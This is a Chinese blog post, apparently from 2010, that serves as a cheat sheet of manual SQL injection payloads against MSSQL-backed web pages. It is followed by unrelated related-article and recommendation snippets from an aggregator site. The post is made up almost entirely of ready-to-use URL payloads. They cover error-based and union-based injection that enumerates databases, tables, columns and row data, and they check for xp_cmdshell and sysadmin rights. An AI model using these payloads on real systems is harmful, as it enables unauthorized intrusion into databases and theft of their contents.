Mssql显错和不显错模式下的注入
Title:Mssql显错和不显错模式下的注入 -- 2010-10-27 19:51
近期用手工注入用习惯了,便列出最近用的Mssql语句,以后方便拿来用!
-----------------------------------------------------------------------------------------------------------------------------------
Mssql注释符:
#
--
显错模式的:
判断是否支持多行
;declare @x int--
查看当前数据库版本
URL?id=13 and @@version>0--
查看当前连接数据库用户
URL?id=13 and user>0--
查看当前数据库名
URL?id=13 and db_name()>0--
爆数据库名
URL?id=13 and 1=convert(int,(select name from master.dbo.sysdatabases where dbid=7))--
//dbid<7的为系统库名
爆当前数据库表名
URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype='U'))--
URL?id=13 and 1=convert(int,(select top 1 name from sysobjects where xtype='U' and name not in ('表名1','表名2')))--
爆其他数据库表名
URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype='u' ))--
URL?id=13 and 1=convert(int,(select top 1 name from [数据库名]..sysobjects where xtype='u' and name not in ('表名1','表名2')))--
爆字段名
URL?id=13 having 1=1--
URL?id=13 group by 表名.字段名1,字段名2 having 1=1--
爆其他表的字段名
URL?id=13 select * from 表名 having 1=1--
URL?id=13 select * from 表名 group by 表名.字段名1,字段名2 having 1=1--
扩展一下
URL?id=13 and 1=convert(int,(select * from 表名 having 1=1))-- 字段名
URL?id=13 and 1=convert(int,(select * from 表名 group by 表名.字段名 having 1=1))-- 字段名
爆数据
URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名))--
URL?id=13 and 1=convert(int,(select top 1 字段名 from 表名 where 字段名 not in ('数据1','数据2'))--
URL?id=13 and 1=convert(int,(select top1 字段名 from 表名 where 字段名!='数据1' and 字段名!='数据2'--
//也可以用where语句
不显错模式
URL?id=13 order by 字段数
URL?id=13 and 1=2 union select ?,?,?,?,?--
查询数据库版本和系统版本
URL?id=13 and 1=2 union select ?,?,?,@@version--
查询数据库用户名
URL?id=13 and 1=2 union select ?,?,?,(select user)--
URL?id=13 and 1=2 union select ?,?,?,(select system_user)--
查询主机名
URL?id=13 and 1=2 union select ?,?,?,(select host_name())--
查询数据库名
URL?id=13 and 1=2 union select ?,?,?,(select db_name())--
判断存储扩展xp_cmdshell
URL?id=13 and 1=2 union select ?,?,?,(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell')--
//1为存在,0为不存在
判断当前数据库用户权限
URL?id=13 and 1=2 union select ?,?,?,(select is_srvrolemember('sysadmin'))--
查询数据库名
URL?id=13 and 1=2 union select ?,?,?(select name from master.dbo.sysdatabases where dbid=7)--
//dbid<7的为系统数据库名
查询数据库表名
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='U')--
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='U' and name not in ('表名1','表名2'))--
查询字段名
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id('表名')--
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from 数据库名.dbo.syscolumns where id=object_id('表名') and name not in('字段名1','字段名2')--
查询数据
URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名)--
URL?id=13 and 1=2 union select ?,?,?(select top 1 字段名 from 表名 where 字段名 not in ('数据1','数据2')--
其他的语句
爆表名
URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from sysobjects where xtype='u' and name not in(select top 0 name from sysobjects where xtype='u')) from sysobjects--
//接着查询表名(从0开始增加第二个top N的数字就可以遍历当前数据库表名了
爆其他数据库表名
URL?id=13 URL?id=13 and 1=2 union select ?,?,?(select top 1 name from [数据库名]..sysobjects where xtype='u' and name not in(select top 0 name from [数据库名]..sysobjects where xtype='u')
爆字段
URL?id=13 and 1=2 union select ?,?,?(select top 1 name from syscolumns where id in (select id from sysobjects where name='表名') and name not in (select top 2 name from syscolumns where id in (select id from sysobjects where name='表名'))) from sysobjects--
//从0开始增加第二个top N的数字就可以遍历admin表的字段名了
查询数据
URL?id=13 URL?id=13 and 1=2 union select top 1 ?,?,字段名 from 表名 where name not in (select top 0 name from 表名)--
Mssql显错和不显错模式下的注入的更多相关文章
- 在debug模式下运行不报错,换到release模式下报找不到某某库或文件的错。。解决办法
我遇到的问题是:把edit secheme调到debug模式运行没有问题,然后调到release模式的时候报目录下没有libTuyoo.a 解决办法 把断开真机设备,用IOS device下relea ...
- Safari无痕模式下,storage被禁用问题
前言 Safari开启无痕模式后,localStorage和sessionStorage为空,对其进行set操作也会报错,也就是说这种情况下,storage是被禁止使用了.接下来说一下解决方法. 解决 ...
- MSSQL注入SA权限不显错模式下的 入 侵
一般新手扫到不显错的SA(systemadmin)的注入点时,虽然工具能猜表列目录但还是很麻烦有的人就直接放弃了,今天我给大家演示下如何利用.方法很简单大家看操作. 我这里使用的是 火狐的插件提交参数 ...
- 当IDENTITY_INSERT设置为OFF时不能向表插入显示值。(源:MSSQLServer,错误码:544)
错误提示"事务和快照同步时提示:当IDENTITY_INSERT设置为OFF时不能向表插入显示值.(源:MSSQLServer,错误码:544)" 原因:在SQL2008同步时到S ...
- vim模式下报错E37: No write since last change (add ! to override)
故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...
- 转:vim模式下报错E37: No write since last change (add ! to override)
故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...
- 关于Mui严格模式下的报错解决方案
前言:作为一名程序员遇到Bug总是在所难免的,但是记住"不二过",今天在Vue开发中遇到了一个报错让我纠结了许久,找了许久, 报错的原因是使用了mui导入其js文件导致的. 报错信 ...
- IIS7部署报错 500.22错误 检查到这集成托管模式下不使用的ASP.NET配置
公司的一个项目,环境为: .Net 4.0 + MVC3,部署在Windows Server 2003R2 IIS6.0上面运行正常, 迁移到新服务器Windows Server 2008R2,部署在 ...
- 服务器 vim模式下报错E37: No write since last change (add ! to override)
故障现象: 使用vim修改文件报错,系统提示如下: E37: No write since last change (add ! to override) 故障原因: 文件为只读文件,无法修改. 解决 ...
随机推荐
- 基于Minifilter框架的文件过滤驱动理解
概述 Minifilter即File System Minifilter Drivers,是Windows为了简化第三方开发人员开发文件过滤驱动而提供的一套框架,这个框架依赖于一个称之为Filter ...
- [Java Concurrent] 多线程合作 wait / notifyAll 的简单案例
本案例描述的是,给一辆汽车打蜡.抛光的场景. Car 是一辆被打蜡抛光的汽车,扮演共享资源的角色. WaxOnCommand 负责给汽车打蜡,打蜡时需要独占整部车,一次打一部分蜡,等待抛光,然后再打一 ...
- java中的Package语句和import语句
在实际项目中会有成百上千个类,我们把近似的类放在同一个包里面,比如把实体类放在实体类包里面 package 为解决类的 命名冲突问题而引入的机制. package语句作为Java源文件的第一条语句 ...
- java常用包
java的核心类都放在java这个包以及其子包下,java扩展的许多类都放在javax包以及其子包下.这些实用类也就是平时经常说的API(应用程序接口). 以下几个是java语言中常用包 java.l ...
- 用js代码判断是否IE浏览器
判断是否IE的方法: var isIE = function(ver) { var div = document.createElement("div"), status; div ...
- HDU3631:Shortest Path(Floyd)
Problem Description When YY was a boy and LMY was a girl, they trained for NOI (National Olympiad in ...
- Ubuntu+Win7+Samba实现文件共享
Samba是Ubuntu和Windows进行网络共享的工具,比如分享打印机,互相之间传输资料文件. 安装samba sudo apt-get install samba 查看samba是否安装成功 s ...
- 关于scanf的几种处理方法
字符输入中,赋值顺序和缓存的联系 scanf是从标准输入缓冲区中读取输入的数据,假设连续输入两个%c格式的字符.而中间又要涉及回车,那么第二个字符将被赋予回车. 解决的方法: .清空输入缓冲区 第一个 ...
- Android消息机制(1)
在Android中,线程内部或者线程之间进行信息交互时经常会使用消息,这些基础的东西如果我们熟悉其内部的原理,将会使我们容易.更好地架构系统,避免一些低级的错误.在学习Android中消息机制之前,我 ...
- 斐波那契数列(fabnacci)java实现
斐波那契数列定义:From Wikipedia, the free encyclopedia http://en.wikipedia.org/wiki/Fibonacci_number In math ...